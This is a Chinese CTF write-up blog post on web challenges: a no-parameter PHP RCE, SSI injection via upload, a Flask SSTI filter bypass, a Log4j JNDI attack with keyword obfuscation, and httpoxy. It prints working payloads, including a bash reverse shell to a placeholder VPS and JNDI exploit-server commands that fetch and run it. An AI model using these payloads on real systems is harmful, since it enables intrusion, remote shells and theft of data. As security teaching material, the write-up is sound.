前言

最近各种烦心事接锤而至,博客也很久没更新了。现在空了更新一下,这个比赛也是好久之前的了,补个wp记录一下,下边贴个当时成绩的图

web

RCE_No_Para

1
2
3
4
5
6
7
8
9
10
11
 <?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){
eval($_GET['code']);
}else{
die("Hacker!");
}
}else{
show_source(__FILE__);
}
?>

无参数rce,老考点了,这里过滤了enddir,所以常用的办法都被ban了,不过还是存在很多可以利用的方法,不懂的同学可以来了解下面几个php函数

get_defined_vars():函数返回由所有已定义变量所组成的数组

再套个current()便可以得到当前数组中的元素的值

这里我们可以通过参数 do 去自定义想要的值(也就是有机会构造rce),不过正如前面所说,next、end 等一些操作数组指针指向的函数被 ban 了,所以要想指向让 do 跑到第一位,我们可以用反转功能的函数array_reverse()

接下来需要用的两个php函数

1
2
array_flip():交换数组中的键和值,成功时返回交换后的数组
array_rand():从数组中随机取出一个或多个随机键

首先通过array_flip()去把数组中的键和值进行交换,再用array_rand()函数去获取数组中的键的内容,如此我们得到可控的 rce 点,最终payload如下

1
code=eval(array_rand(array_flip(array_reverse(current(get_defined_vars())))));&do=system("cat+flag.php");

Baby_Upload

这道题过滤了很多文件后缀,最后用到的点是SSI注入

SSI全称是Server Side Includes,即服务器端包含,是一种基于服务器端的网页制作技术。

SSI在HTML文件中,可以通过注释行调用命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。

也就是服务器启用了 SSI 功能,就有可能存在 SSI 注入。这里上传shtml文件

这里过滤了ls命令,所以使用 dir 去查看根目录文件,上传成功访问文件

接着使用cut命令去读取文件

不过文件名被过滤了,使用?匹配符即可

最后访问获得flag

flask

查看网页源代码

1
2
3
4
5
<!--/admin-->
<!--/static.js-->
<!--if not request.full_path.endswith(".js?"):
if not request.full_path.startswith("/login"):
return redirect("login")-->

注释给了一段hint,需要我们访问/admin路由,但是做了限制,要求请求的路径必须得/login开头或者.js?结尾,这里我们添加一个参数即可bypass

接着提示访问?name,flask容易想到 ssti 模板注入

确认是ssti注入后,便开始构造 payload,不过这里也做了很多限制,比如 ban 了中括号、点、下划线等等,对应去bypass即可,最后payload

1
/admin?name={{lipsum|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("os")|attr("popen")("cat+/flag")|attr("read")()}}&dotast=.js?

Shiro?

根据题目和页面判断是一个 shiro 的反序列化漏洞,但一直打不通,想到最近的log4j漏洞,考点兴许在这,在用户名和密码的输入点打了一个payload尝试

1
${jndi:ldap://gghkvh.dnslog.cn/exp}

回显Don’t Hacking Me,说明有过滤,测试过后发现过滤的是jndi关键字,通过{::-n}等规则替换即可

1
${${::-j}ndi:rmi://r2lvm6.dnslog.cn/exp}


dnslog成功回显,接下来就是利用了。在github上找个几年前的轮子

1
https://github.com/welk1n/JNDI-Injection-Exploit

下载到自己的 vps 上,首先将反弹shell编码成base64形式

1
bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1

接着通过jar包开启服务

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码的反弹shell语句}|{base64,-d}|{bash,-i}" -A "vps的ip"


然后多开一个窗口进行监听端口,在用户名填写对应生成的payload发送,例如我图中的是 9opfso

1
${${::-j}ndi:rmi://ip:port/9opfso}

即可反弹shell成功
如果因为环境没成功,也可以使用JNDIExploit-1.2-SNAPSHOT.jar这个工具起 ldap 服务

1
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip

payload

1
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://ip:1389/Basic/ReverseShell/ip/8989}

Flag配送中心

原谅我知之甚少,赛后看wp才知道考点是CVE-2016-5387,可能我太菜了,看不出来,也不知道有这个cve
开始复现,vps上监听端口,然后请求头加上proxy:vpsip:port

vps监听到flag